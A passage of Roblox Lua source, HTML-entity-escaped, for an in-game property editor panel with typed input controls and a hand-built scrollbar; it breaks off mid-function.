Controls[&quot;bool&quot;] = function(object, propertyData, readOnly)
&#9;local propertyName = propertyData[&quot;Name&quot;]
&#9;local checked = object[propertyName]
&#9;
&#9;local checkbox, setValue = CreateCheckbox(checked, readOnly, function(value)
&#9;&#9;print(&quot;onClick() Clicked checkbox&quot;)
&#9;&#9;Set(object, propertyData, not checked)
&#9;end)
&#9;checkbox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
&#9;
&#9;setValue(checked)
&#9;
&#9;local function update()
&#9;&#9;print(&quot;update()&quot;)
&#9;&#9;checked = object[propertyName]
&#9;&#9;print(&quot;Calling updateCheckbox(&quot; .. tostring(checked) .. &quot;)&quot;)
&#9;&#9;setValue(checked)
&#9;end
&#9;
&#9;object.Changed:connect(function(property)
&#9;&#9;print(&quot;bool value changed()&quot;)
&#9;&#9;if (property == propertyName) then
&#9;&#9;&#9;update()
&#9;&#9;end
&#9;end)
&#9;
&#9;update()
&#9;
&#9;return checkbox
end

Controls[&quot;BrickColor&quot;] = function(object, propertyData, readOnly)
&#9;local propertyName = propertyData[&quot;Name&quot;]

&#9;local frame,label,brickColorBox = CreateBrickColor(readOnly, function(brickColor)
&#9;&#9;Set(object, propertyData, brickColor)
&#9;end)
&#9;
&#9;local function update()
&#9;&#9;local value = object[propertyName]
&#9;&#9;brickColorBox.BackgroundColor3 = value.Color
&#9;&#9;label.Text = tostring(value)
&#9;end
&#9;
&#9;update()
&#9;
&#9;object.Changed:connect(function(property)
&#9;&#9;if (property == propertyName) then
&#9;&#9;&#9;update()
&#9;&#9;end
&#9;end)
&#9;
&#9;return frame
end

Controls[&quot;Color3&quot;] = function(object, propertyData, readOnly)
&#9;local propertyName = propertyData[&quot;Name&quot;]

&#9;local frame,textBox,colorBox = CreateColor3Control(readOnly)
&#9;
&#9;textBox.FocusLost:connect(function(enterPressed)
&#9;&#9;Set(object, propertyData, ToValue(textBox.Text,&quot;Color3&quot;))
&#9;&#9;local value = object[propertyName]
&#9;&#9;colorBox.BackgroundColor3 = value
&#9;&#9;textBox.Text = ToString(value, &quot;Color3&quot;)
&#9;end)
&#9;&#9;&#9;
&#9;local function update()
&#9;&#9;local value = object[propertyName]
&#9;&#9;colorBox.BackgroundColor3 = value
&#9;&#9;textBox.Text = ToString(value, &quot;Color3&quot;)
&#9;end
&#9;
&#9;update()
&#9;
&#9;object.Changed:connect(function(property)
&#9;&#9;if (property == propertyName) then
&#9;&#9;&#9;update()
&#9;&#9;end
&#9;end)
&#9;
&#9;return frame
end

function IsEnum(propertyType)
&#9;return Enums[tostring(propertyType)] ~= nil
end

Controls[&quot;Enum&quot;] = function(object, propertyData, readOnly)
&#9;local propertyName = propertyData[&quot;Name&quot;]
&#9;local propertyType = propertyData[&quot;Type&quot;]
&#9;
&#9;local enumName = object[propertyName].Name
&#9;
&#9;local enumNames = {}
&#9;for _,enum in pairs(Enum[tostring(propertyType)]:GetEnumItems()) do
&#9;&#9;table.insert(enumNames, enum.Name)
&#9;end
&#9;
&#9;local dropdown, propertyLabel = CreateDropDown(enumNames, enumName, readOnly, function(value)
&#9;&#9;Set(object, propertyData, value)
&#9;end)
&#9;dropdown.Parent = frame
&#9;
&#9;local function update()
&#9;&#9;local value = object[propertyName].Name
&#9;&#9;propertyLabel.Text = tostring(value)
&#9;end
&#9;
&#9;update()
&#9;
&#9;object.Changed:connect(function(property)
&#9;&#9;if (property == propertyName) then
&#9;&#9;&#9;update()
&#9;&#9;end
&#9;end)
&#9;
&#9;return dropdown
end

function GetControl(object, propertyData, readOnly)
&#9;local propertyType = propertyData[&quot;Type&quot;]
&#9;local control = nil
&#9;
&#9;if Controls[propertyType] then
&#9;&#9;control = Controls[propertyType](object, propertyData, readOnly)
&#9;elseif IsEnum(propertyType) then
&#9;&#9;control = Controls[&quot;Enum&quot;](object, propertyData, readOnly)
&#9;else
&#9;&#9;control = Controls[&quot;default&quot;](object, propertyData, readOnly)
&#9;end
&#9;return control
end

function CanEditObject(object)
&#9;local player = Players.LocalPlayer
&#9;local character = player.Character
&#9;--if (player.Name == &quot;CommanderCrow&quot; or player.Name == &quot;Merely&quot; or player.Name == &quot;Player1&quot;) then
&#9;&#9;return true
&#9;--[[else
&#9;&#9;if (object == character or object:IsDescendantOf(character) or object:IsDescendantOf(player) or object == player) then
&#9;&#9;&#9;return true
&#9;&#9;end
&#9;&#9;return false
&#9;end--]]
end

function CanEditProperty(object,propertyData)
&#9;return (propertyData[&quot;readonly&quot;] ~= true)
&#9;&#9;&#9;and (CanEditObject(object))
end

function PropertyIsHidden(propertyData)
&#9;return propertyData[&quot;deprecated&quot;] == true 
&#9;&#9; or propertyData[&quot;hidden&quot;] == true
&#9;&#9; or propertyData[&quot;writeonly&quot;] == true
&#9;&#9; or propertyData[&quot;notbrowsable&quot;] == true
&#9;&#9; or propertyData[&quot;RobloxPlaceSecurity&quot;] == true
&#9;&#9; or propertyData[&quot;LocalUserSecurity&quot;] == true
end

function Set(object, propertyData, value)
&#9;local propertyName = propertyData[&quot;Name&quot;]
&#9;local propertyType = propertyData[&quot;Type&quot;]
&#9;
&#9;if value == nil then print(&quot;Not changing property because result is nil&quot;) return end
&#9;
&#9;if CanEditProperty(object,propertyData) then
&#9;&#9;object[propertyName] = value
&#9;end
end

function CreateRow(object, propertyData, isAlternateRow)
&#9;local propertyName = propertyData[&quot;Name&quot;]
&#9;local propertyType = propertyData[&quot;Type&quot;]
&#9;local propertyValue = object[propertyName]
&#9;--rowValue, rowValueType, isAlternate
&#9;local backColor = Row.BackgroundColor;
&#9;if (isAlternateRow) then
&#9;&#9;backColor = Row.BackgroundColorAlternate
&#9;end
&#9;
&#9;local readOnly = not CanEditProperty(object, propertyData)
&#9;if propertyType == &quot;Instance&quot; or propertyType == &quot;Object&quot; then readOnly = true end

&#9;local rowFrame = Instance.new(&quot;Frame&quot;)
&#9;rowFrame.Size = UDim2.new(1,0,0,Row.Height)
&#9;rowFrame.BackgroundTransparency = 1
&#9;rowFrame.Name = &apos;Row&apos;

&#9;local propertyLabelFrame = CreateCell()
&#9;propertyLabelFrame.Parent = rowFrame
&#9;propertyLabelFrame.ClipsDescendants = true
&#9;
&#9;local propertyLabel = CreateLabel(readOnly)
&#9;propertyLabel.Text = propertyName
&#9;propertyLabel.Size = UDim2.new(1, -1 * Row.TitleMarginLeft, 1, 0)
&#9;propertyLabel.Position = UDim2.new(0, Row.TitleMarginLeft, 0, 0)
&#9;propertyLabel.Parent = propertyLabelFrame

&#9;local propertyValueFrame = CreateCell()
&#9;propertyValueFrame.Size = UDim2.new(0.5, -1, 1, 0)
&#9;propertyValueFrame.Position = UDim2.new(0.5, 0, 0, 0)
&#9;propertyValueFrame.Parent = rowFrame

&#9;local control = GetControl(object, propertyData, readOnly)
&#9;control.Parent = propertyValueFrame

&#9;rowFrame.MouseEnter:connect(function()
&#9;&#9;propertyLabelFrame.BackgroundColor3 = Row.BackgroundColorMouseover
&#9;&#9;propertyValueFrame.BackgroundColor3 = Row.BackgroundColorMouseover
&#9;end)
&#9;rowFrame.MouseLeave:connect(function()
&#9;&#9;propertyLabelFrame.BackgroundColor3 = backColor
&#9;&#9;propertyValueFrame.BackgroundColor3 = backColor
&#9;end)
&#9;
&#9;propertyLabelFrame.BackgroundColor3 = backColor
&#9;propertyValueFrame.BackgroundColor3 = backColor
&#9;
&#9;return rowFrame
end

function ClearPropertiesList()
&#9;for _,instance in pairs(ContentFrame:GetChildren()) do
&#9;&#9;instance:Destroy()
&#9;end
end

local selection = script.Parent.Parent:FindFirstChild(&quot;Selection&quot;, 1)

function showProperties(obj)
&#9;ClearPropertiesList()
&#9;if obj == null then return end
&#9;numRows = 0
&#9;for i,v in pairs(GetProperties(obj.className)) do
&#9;&#9;local suc, err = pcall(function() 
&#9;&#9;&#9;if not (PropertyIsHidden(v)) then
&#9;&#9;&#9;&#9;val = obj[v.Name]
&#9;&#9;&#9;&#9;local a = CreateRow(obj, v, ((numRows % 2) == 0))
&#9;&#9;&#9;&#9;a.Position = UDim2.new(0,0,0,numRows*Row.Height)
&#9;&#9;&#9;&#9;a.Parent = ContentFrame
&#9;&#9;&#9;&#9;numRows = numRows + 1
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;&#9;if not suc then print(&quot;Error on getting value of &quot; .. v.Name .. &quot; | &quot; .. err) end
&#9;&#9;
&#9;end
&#9;ContentFrame.Size = UDim2.new(1, 0, 0, numRows * Row.Height)
&#9;scrollBar.ScrollIndex = 0
&#9;scrollBar.TotalSpace = numRows * Row.Height
&#9;scrollBar.Update()
end

----------------------------------------------------------------
-----------------------SCROLLBAR STUFF--------------------------
----------------------------------------------------------------
----------------------------------------------------------------
local ScrollBarWidth = 16

local ScrollStyles = {
&#9;Background      = Color3.new(233/255, 233/255, 233/255);
&#9;Border          = Color3.new(149/255, 149/255, 149/255);
&#9;Selected        = Color3.new( 63/255, 119/255, 189/255);
&#9;BorderSelected  = Color3.new( 55/255, 106/255, 167/255);
&#9;Text            = Color3.new(  0/255,   0/255,   0/255);
&#9;TextDisabled    = Color3.new(128/255, 128/255, 128/255);
&#9;TextSelected    = Color3.new(255/255, 255/255, 255/255);
&#9;Button          = Color3.new(221/255, 221/255, 221/255);
&#9;ButtonBorder    = Color3.new(149/255, 149/255, 149/255);
&#9;ButtonSelected  = Color3.new(255/255,   0/255,   0/255);
&#9;Field           = Color3.new(255/255, 255/255, 255/255);
&#9;FieldBorder     = Color3.new(191/255, 191/255, 191/255);
&#9;TitleBackground = Color3.new(178/255, 178/255, 178/255);
}
do
&#9;local ZIndexLock = {}
&#9;function SetZIndex(object,z)
&#9;&#9;if not ZIndexLock[object] then
&#9;&#9;&#9;ZIndexLock[object] = true
&#9;&#9;&#9;if object:IsA&apos;GuiObject&apos; then
&#9;&#9;&#9;&#9;object.ZIndex = z
&#9;&#9;&#9;end
&#9;&#9;&#9;local children = object:GetChildren()
&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;SetZIndex(children[i],z)
&#9;&#9;&#9;end
&#9;&#9;&#9;ZIndexLock[object] = nil
&#9;&#9;end
&#9;end
end
function SetZIndexOnChanged(object)
&#9;return object.Changed:connect(function(p)
&#9;&#9;if p == &quot;ZIndex&quot; then
&#9;&#9;&#9;SetZIndex(object,object.ZIndex)
&#9;&#9;end
&#9;end)
end
function Create(ty,data)
&#9;local obj
&#9;if type(ty) == &apos;string&apos; then
&#9;&#9;obj = Instance.new(ty)
&#9;else
&#9;&#9;obj = ty
&#9;end
&#9;for k, v in pairs(data) do
&#9;&#9;if type(k) == &apos;number&apos; then
&#9;&#9;&#9;v.Parent = obj
&#9;&#9;else
&#9;&#9;&#9;obj[k] = v
&#9;&#9;end
&#9;end
&#9;return obj
end
-- returns the ascendant ScreenGui of an object
function GetScreen(screen)
&#9;if screen == nil then return nil end
&#9;while not screen:IsA(&quot;ScreenGui&quot;) do
&#9;&#9;screen = screen.Parent
&#9;&#9;if screen == nil then return nil end
&#9;end
&#9;return screen
end
-- AutoButtonColor doesn&apos;t always reset properly
function ResetButtonColor(button)
&#9;local active = button.Active
&#9;button.Active = not active
&#9;button.Active = active
end

function ArrowGraphic(size,dir,scaled,template)
&#9;local Frame = Create(&apos;Frame&apos;,{
&#9;&#9;Name = &quot;Arrow Graphic&quot;;
&#9;&#9;BorderSizePixel = 0;
&#9;&#9;Size = UDim2.new(0,size,0,size);
&#9;&#9;Transparency = 1;
&#9;})
&#9;if not template then
&#9;&#9;template = Instance.new(&quot;Frame&quot;)
&#9;&#9;template.BorderSizePixel = 0
&#9;end

&#9;local transform
&#9;if dir == nil or dir == &apos;Up&apos; then
&#9;&#9;function transform(p,s) return p,s end
&#9;elseif dir == &apos;Down&apos; then
&#9;&#9;function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
&#9;elseif dir == &apos;Left&apos; then
&#9;&#9;function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
&#9;elseif dir == &apos;Right&apos; then
&#9;&#9;function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
&#9;end

&#9;local scale
&#9;if scaled then
&#9;&#9;function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
&#9;else
&#9;&#9;function scale(p,s) return p,s end
&#9;end

&#9;local o = math.floor(size/4)
&#9;if size%2 == 0 then
&#9;&#9;local n = size/2-1
&#9;&#9;for i = 0,n do
&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;&#9;UDim2.new(0,n-i,0,o+i),
&#9;&#9;&#9;&#9;UDim2.new(0,(i+1)*2,0,1)
&#9;&#9;&#9;))
&#9;&#9;&#9;t.Position = p
&#9;&#9;&#9;t.Size = s
&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;end
&#9;else
&#9;&#9;local n = (size-1)/2
&#9;&#9;for i = 0,n do
&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;&#9;UDim2.new(0,n-i,0,o+i),
&#9;&#9;&#9;&#9;UDim2.new(0,i*2+1,0,1)
&#9;&#9;&#9;))
&#9;&#9;&#9;t.Position = p
&#9;&#9;&#9;t.Size = s
&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;end
&#9;end
&#9;if size%4 &gt; 1 then
&#9;&#9;local t = template:Clone()
&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;UDim2.new(0,0,0,size-o-1),
&#9;&#9;&#9;UDim2.new(0,size,0,1)
&#9;&#9;))
&#9;&#9;t.Position = p
&#9;&#9;t.Size = s
&#9;&#9;t.Parent = Frame
&#9;end
&#9;return Frame
end

function GripGraphic(size,dir,spacing,scaled,template)
&#9;local Frame = Create(&apos;Frame&apos;,{
&#9;&#9;Name = &quot;Grip Graphic&quot;;
&#9;&#9;BorderSizePixel = 0;
&#9;&#9;Size = UDim2.new(0,size.x,0,size.y);
&#9;&#9;Transparency = 1;
&#9;})
&#9;if not template then
&#9;&#9;template = Instance.new(&quot;Frame&quot;)
&#9;&#9;template.BorderSizePixel = 0
&#9;end

&#9;spacing = spacing or 2

&#9;local scale
&#9;if scaled then
&#9;&#9;function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
&#9;else
&#9;&#9;function scale(p) return p end
&#9;end

&#9;if dir == &apos;Vertical&apos; then
&#9;&#9;for i=0,size.x-1,spacing do
&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;t.Size = scale(UDim2.new(0,1,0,size.y))
&#9;&#9;&#9;t.Position = scale(UDim2.new(0,i,0,0))
&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;end
&#9;elseif dir == nil or dir == &apos;Horizontal&apos; then
&#9;&#9;for i=0,size.y-1,spacing do
&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;t.Size = scale(UDim2.new(0,size.x,0,1))
&#9;&#9;&#9;t.Position = scale(UDim2.new(0,0,0,i))
&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;end
&#9;end

&#9;return Frame
end

do
&#9;local mt = {
&#9;&#9;__index = {
&#9;&#9;&#9;GetScrollPercent = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
&#9;&#9;&#9;end;
&#9;&#9;&#9;CanScrollDown = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex + self.VisibleSpace &lt; self.TotalSpace
&#9;&#9;&#9;end;
&#9;&#9;&#9;CanScrollUp = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex &gt; 0
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollDown = function(self)
&#9;&#9;&#9;&#9;self.ScrollIndex = self.ScrollIndex + self.PageIncrement
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollUp = function(self)
&#9;&#9;&#9;&#9;self.ScrollIndex = self.ScrollIndex - self.PageIncrement
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollTo = function(self,index)
&#9;&#9;&#9;&#9;self.ScrollIndex = index
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;SetScrollPercent = function(self,percent)
&#9;&#9;&#9;&#9;self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;};
&#9;}
&#9;mt.__index.CanScrollRight = mt.__index.CanScrollDown
&#9;mt.__index.CanScrollLeft = mt.__index.CanScrollUp
&#9;mt.__index.ScrollLeft = mt.__index.ScrollUp
&#9;mt.__index.ScrollRight = mt.__index.ScrollDown

&#9;function ScrollBar(horizontal)
&#9;&#9;-- create row scroll bar
&#9;&#9;local ScrollFrame = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name = &quot;ScrollFrame&quot;;
&#9;&#9;&#9;Position = horizontal and UDim2.new(0,0,1,-ScrollBarWidth) or UDim2.new(1,-ScrollBarWidth,0,0);
&#9;&#9;&#9;Size = horizontal and UDim2.new(1,0,0,ScrollBarWidth) or UDim2.new(0,ScrollBarWidth,1,0);
&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollDown&quot;;
&#9;&#9;&#9;&#9;Position = horizontal and UDim2.new(1,-ScrollBarWidth,0,0) or UDim2.new(0,0,1,-ScrollBarWidth);
&#9;&#9;&#9;&#9;Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
&#9;&#9;&#9;&#9;BackgroundColor3 = ScrollStyles.Button;
&#9;&#9;&#9;&#9;BorderColor3 = ScrollStyles.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollUp&quot;;
&#9;&#9;&#9;&#9;Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
&#9;&#9;&#9;&#9;BackgroundColor3 = ScrollStyles.Button;
&#9;&#9;&#9;&#9;BorderColor3 = ScrollStyles.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollBar&quot;;
&#9;&#9;&#9;&#9;Size = horizontal and UDim2.new(1,-ScrollBarWidth*2,1,0) or UDim2.new(1,0,1,-ScrollBarWidth*2);
&#9;&#9;&#9;&#9;Position = horizontal and UDim2.new(0,ScrollBarWidth,0,0) or UDim2.new(0,0,0,ScrollBarWidth);
&#9;&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
&#9;&#9;&#9;&#9;BorderColor3 = ScrollStyles.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;&#9;Name = &quot;ScrollThumb&quot;;
&#9;&#9;&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;&#9;&#9;Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
&#9;&#9;&#9;&#9;&#9;BackgroundColor3 = ScrollStyles.Button;
&#9;&#9;&#9;&#9;&#9;BorderColor3 = ScrollStyles.Border;
&#9;&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;&#9;});
&#9;&#9;&#9;});
&#9;&#9;})

&#9;&#9;local graphicTemplate = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name=&quot;Graphic&quot;;
&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;BackgroundColor3 = ScrollStyles.Border;
&#9;&#9;})
&#9;&#9;local graphicSize = ScrollBarWidth/2

&#9;&#9;local ScrollDownFrame = ScrollFrame.ScrollDown
&#9;&#9;&#9;local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Right&apos; or &apos;Down&apos;,true,graphicTemplate)
&#9;&#9;&#9;ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
&#9;&#9;&#9;ScrollDownGraphic.Parent = ScrollDownFrame
&#9;&#9;local ScrollUpFrame = ScrollFrame.ScrollUp
&#9;&#9;&#9;local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Left&apos; or &apos;Up&apos;,true,graphicTemplate)
&#9;&#9;&#9;ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
&#9;&#9;&#9;ScrollUpGraphic.Parent = ScrollUpFrame
&#9;&#9;local ScrollBarFrame = ScrollFrame.ScrollBar
&#9;&#9;local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
&#9;&#9;do
&#9;&#9;&#9;local size = ScrollBarWidth*3/8
&#9;&#9;&#9;local Decal = GripGraphic(Vector2.new(size,size),horizontal and &apos;Vertical&apos; or &apos;Horizontal&apos;,2,graphicTemplate)
&#9;&#9;&#9;Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
&#9;&#9;&#9;Decal.Parent = ScrollThumbFrame
&#9;&#9;end

&#9;&#9;local MouseDrag = Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;Name = &quot;MouseDrag&quot;;
&#9;&#9;&#9;Position = UDim2.new(-0.25,0,-0.25,0);
&#9;&#9;&#9;Size = UDim2.new(1.5,0,1.5,0);
&#9;&#9;&#9;Transparency = 1;
&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;Active = true;
&#9;&#9;&#9;ZIndex = 10;
&#9;&#9;})

&#9;&#9;local Class = setmetatable({
&#9;&#9;&#9;GUI = ScrollFrame;
&#9;&#9;&#9;ScrollIndex = 0;
&#9;&#9;&#9;VisibleSpace = 0;
&#9;&#9;&#9;TotalSpace = 0;
&#9;&#9;&#9;PageIncrement = 1;
&#9;&#9;},mt)

&#9;&#9;local UpdateScrollThumb
&#9;&#9;if horizontal then
&#9;&#9;&#9;function UpdateScrollThumb()
&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth)
&#9;&#9;&#9;&#9;if ScrollThumbFrame.AbsoluteSize.x &lt; ScrollBarWidth then
&#9;&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local barSize = ScrollBarFrame.AbsoluteSize.x
&#9;&#9;&#9;&#9;ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;function UpdateScrollThumb()
&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0)
&#9;&#9;&#9;&#9;if ScrollThumbFrame.AbsoluteSize.y &lt; ScrollBarWidth then
&#9;&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local barSize = ScrollBarFrame.AbsoluteSize.y
&#9;&#9;&#9;&#9;ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
&#9;&#9;&#9;end
&#9;&#9;end

&#9;&#9;local lastDown
&#9;&#9;local lastUp
&#9;&#9;local scrollStyle = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0}
&#9;&#9;local scrollStyle_ds = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0.7}

&#9;&#9;local function Update()
&#9;&#9;&#9;local t = Class.TotalSpace
&#9;&#9;&#9;local v = Class.VisibleSpace
&#9;&#9;&#9;local s = Class.ScrollIndex
&#9;&#9;&#9;if v &lt;= t then
&#9;&#9;&#9;&#9;if s &gt; 0 then
&#9;&#9;&#9;&#9;&#9;if s + v &gt; t then
&#9;&#9;&#9;&#9;&#9;&#9;Class.ScrollIndex = t - v
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class.ScrollIndex = 0
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;Class.ScrollIndex = 0
&#9;&#9;&#9;end

&#9;&#9;&#9;if Class.UpdateCallback then
&#9;&#9;&#9;&#9;if Class.UpdateCallback(Class) == false then
&#9;&#9;&#9;&#9;&#9;return
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end

&#9;&#9;&#9;local down = Class:CanScrollDown()
&#9;&#9;&#9;local up = Class:CanScrollUp()
&#9;&#9;&#9;if down ~= lastDown then
&#9;&#9;&#9;&#9;lastDown = down
&#9;&#9;&#9;&#9;ScrollDownFrame.Active = down
&#9;&#9;&#9;&#9;ScrollDownFrame.AutoButtonColor = down
&#9;&#9;&#9;&#9;local children = ScrollDownGraphic:GetChildren()
&#9;&#9;&#9;&#9;local style = down and scrollStyle or scrollStyle_ds
&#9;&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;&#9;Create(children[i],style)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;if up ~= lastUp then
&#9;&#9;&#9;&#9;lastUp = up
&#9;&#9;&#9;&#9;ScrollUpFrame.Active = up
&#9;&#9;&#9;&#9;ScrollUpFrame.AutoButtonColor = up
&#9;&#9;&#9;&#9;local children = ScrollUpGraphic:GetChildren()
&#9;&#9;&#9;&#9;local style = up and scrollStyle or scrollStyle_ds
&#9;&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;&#9;Create(children[i],style)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;ScrollThumbFrame.Visible = down or up
&#9;&#9;&#9;UpdateScrollThumb()
&#9;&#9;end
&#9;&#9;Class.Update = Update

&#9;&#9;SetZIndexOnChanged(ScrollFrame)

&#9;&#9;local scrollEventID = 0
&#9;&#9;ScrollDownFrame.MouseButton1Down:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;local up_con
&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;ResetButtonColor(ScrollDownFrame)
&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;end)
&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;Class:ScrollDown()
&#9;&#9;&#9;wait(0.2) -- delay before auto scroll
&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;Class:ScrollDown()
&#9;&#9;&#9;&#9;if not Class:CanScrollDown() then break end
&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;end
&#9;&#9;end)

&#9;&#9;ScrollDownFrame.MouseButton1Up:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;end)

&#9;&#9;ScrollUpFrame.MouseButton1Down:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;local up_con
&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;end)
&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;Class:ScrollUp()
&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;Class:ScrollUp()
&#9;&#9;&#9;&#9;if not Class:CanScrollUp() then break end
&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;end
&#9;&#9;end)

&#9;&#9;ScrollUpFrame.MouseButton1Up:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;end)

&#9;&#9;if horizontal then
&#9;&#9;&#9;ScrollBarFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;&#9;if x &gt; ScrollThumbFrame.AbsolutePosition.x then
